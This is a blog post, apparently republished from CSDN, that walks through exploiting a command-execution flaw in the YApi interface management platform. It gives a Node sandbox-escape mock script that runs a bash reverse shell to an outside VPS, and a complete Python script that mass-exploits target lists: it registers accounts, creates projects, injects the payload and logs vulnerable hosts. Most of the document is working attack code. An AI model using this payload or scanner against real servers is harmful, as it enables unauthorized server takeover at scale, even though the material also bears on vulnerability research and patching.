Actual Combat - Arbitrary Command Execution Vulnerability in YApi Interface Management Platform Background

YApi interface management platform background arbitrary command execution vulnerability rebound shell to get server privileges

Vulnerability description

There is a command execution vulnerability in the background of the YApi interface management platform. Attackers can execute arbitrary commands to obtain server permissions by sending specific requests.

Vulnerability impact

YApi 接口管理平台
默认端口:3000

Vulnerability recurrence

log in page

Register an account and log in

Add items, any parameter

Click on the created project tes - settings - global mock script - save

Enter the following payload, here execSync can be modified arbitrarily, here I set the reverse shell command

const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1").toString()

Interface - guatest - Mock address

Click the global mock address to bounce the shell to your own VPS. First, the VPS must enable NC monitoring

Click the global mock address, the rebound shell successfully won the server privilege (the vulnerability platform has been submitted)

Batch verification of POC scripts

import requests

import urllib3

import json

import argparse

  

parser = argparse.ArgumentParser(description="请输入目标地址")

parser.add_argument('-u',type=str,help='请输入url',dest='url',default='')

parser.add_argument('-f',type=str,help='请插入字典',dest='file',default='')

args = parser.parse_args()

Get_url = args.url

Get_file = args.file

  

def poc_1(get_url):

    if(get_url[-1]=='/'):

        get_url=get_url[:-1]

        print(get_url)

    Reg_url=get_url+"/api/user/reg"

    headers = {
    
    

        'Content-Type': 'application/json',

        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",

    }

    data={
    
    

        'email':'[email protected]',

        'password':'123456',

        'username':'Guatest'

    }

    try:

        urllib3.disable_warnings()

        Reg_res=requests.post(url=Reg_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)

        if Reg_res.json()['errcode']==0:

            poc_2(get_url)

        else:

            print(get_url+"  "+Reg_res.text)

    except Exception as e:

        print(get_url+"  poc_1  请求出错")

  

def poc_2(get_url):

    Login_url=get_url+"/api/user/login"

    headers = {
    
    

        'Content-Type': 'application/json',

        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",

    }

    data={
    
    

        'email':'[email protected]',

        'password':'123456'

    }

    try:

        Login_res=requests.post(url=Login_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)

        Login_cookie=Login_res.headers['Set-Cookie'].split(';')[0]+";_yapi_uid="+str(Login_res.json()['data']['uid'])

        if Login_res.json()['errcode']==0:

            poc_3(get_url,Login_cookie)

        else:

            print("登陆失败")

    except Exception as e:

        print(get_url+"  poc_2  请求出错")

  

def poc_3(get_url,Login_cookie):

    headers={
    
    

        'Content-Type': 'application/json',

        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',

        'Cookie':Login_cookie

    }

    Get_id_url=get_url+"/api/group/list"

    try:

        Get_id_res=requests.get(url=Get_id_url,headers=headers,verify=False,timeout=10)

        G_id=str(Get_id_res.json()['data'][0]['_id'])

        if Get_id_res.json()['errcode']==0:

            poc_4(get_url,G_id,Login_cookie)

        else:

            print("获取group_id失败")

    except Exception as e:

        print(get_url+"  poc_3  请求出错")

def poc_4(get_url,G_id,Login_cookie):

    NewProjecet_url=get_url+"/api/project/add"

    data={
    
    

        'name':'tes',

        'basepath':'',

        'group_id':G_id,

        'icon':'code-o',

        'color':'blue',

        'project_type':'private'

    }

    headers = {
    
    

        'Content-Type': 'application/json',

        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',

        'Cookie': Login_cookie

    }

    try:

        NewProjecet_res=requests.post(url=NewProjecet_url,headers=headers,data=json.dumps(data),verify=False,timeout=10)

        get_id=str(NewProjecet_res.json()['data']['_id'])

        if NewProjecet_res.json()['errcode']==0:

            poc_5(get_url,Login_cookie,get_id)

        else:

            print('创建目录失败失败')

    except Exception as e:

        print(get_url+"  poc_4  请求出错")

def poc_5(get_url,Login_cookie,get_id):

    Mock_url=get_url+'/api/project/up'

    headers = {
    
    

        'Content-Type': 'application/json',

        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',

        'Cookie': Login_cookie

    }

    data={
    
    

        'id':get_id,

        'project_mock_script':"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()",

        'is_mock_open':True

    }

    try:

        Mock_res=requests.post(url=Mock_url,headers=headers,verify=False,data=json.dumps(data),timeout=10)

        if Mock_res.json()['errcode']==0:

            poc_6(get_url, Login_cookie, get_id)

        else:

            print("mock创建失败")

    except Exception as e:

        print(get_url+"  poc_5   请求出错")

def poc_6(get_url,Login_cookie,get_id):

    Cat_id_url=get_url+"/api/interface/list_menu?project_id="+str(get_id)

    headers = {
    
    

        'Content-Type': 'application/json',

        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',

        'Cookie': Login_cookie

    }

    try:

        Cat_id_res=requests.get(url=Cat_id_url,headers=headers,verify=False,timeout=10)

        Catid=Cat_id_res.json()['data'][0]['_id']

        poc_7(get_url,Login_cookie,get_id,Catid)

    except Exception as e:

        print(get_url+"  poc_6请求出错")

def poc_7(get_url,Login_cookie,get_id,Catid):

    headers = {
    
    

        'Content-Type': 'application/json',

        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',

        'Cookie': Login_cookie

    }

    data={
    
    

        'method':'GET',

        'catid':Catid,

        'title':'guatest',

        'path':'/guatest',

        'project_id':get_id

    }

    port_add_url=get_url+"/api/interface/add"

    try:

        port_add_res=requests.post(url=port_add_url,data=json.dumps(data),headers=headers,verify=False,timeout=10)

        if port_add_res.json()['errcode']==0:

            poc_8(get_url,Login_cookie,get_id)

        else:

            print("接口创建失败")

    except Exception as e:

        print(get_url+"  poc_7   请求出错")

def poc_8(get_url,Login_cookie,get_id):

    headers = {
    
    

        'Content-Type': 'application/json',

        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',

        'Cookie': Login_cookie

    }

    vuln_url=get_url+"/mock/"+str(get_id)+'/guatest'

    try:

        vuln_res=requests.get(url=vuln_url,headers=headers,verify=False,timeout=10)

        print(vuln_url+'  '+vuln_res.text)

        with open('success.txt', 'a+', encoding="utf-8") as s:

            s.write(get_url + '   '+vuln_res.text+'\n')

    except Exception as e:

        print(get_url+"  poc_8   请求出错",e)

def file():

    with open(args.file,'r+',encoding='utf-8') as f:

        for i in f.readlines():

            s = i.strip()

            if 'http://' in s:

                poc_1(s)

            else:

                exp1 = 'http://'+s

                poc_1(exp1)

if __name__ == '__main__':

    try:

        if Get_url != '' and Get_file == '':

            if 'http://' in Get_url:

                poc_1(Get_url)

            else:

                exp2 = 'http://' + Get_url

                poc_1(exp2)

        elif Get_url == '' and Get_file != '':

            file()

    except KeyboardInterrupt:

        print("结束进程。。。。")

        pass

Guess you like

Origin blog.csdn.net/weixin_44971640/article/details/130322457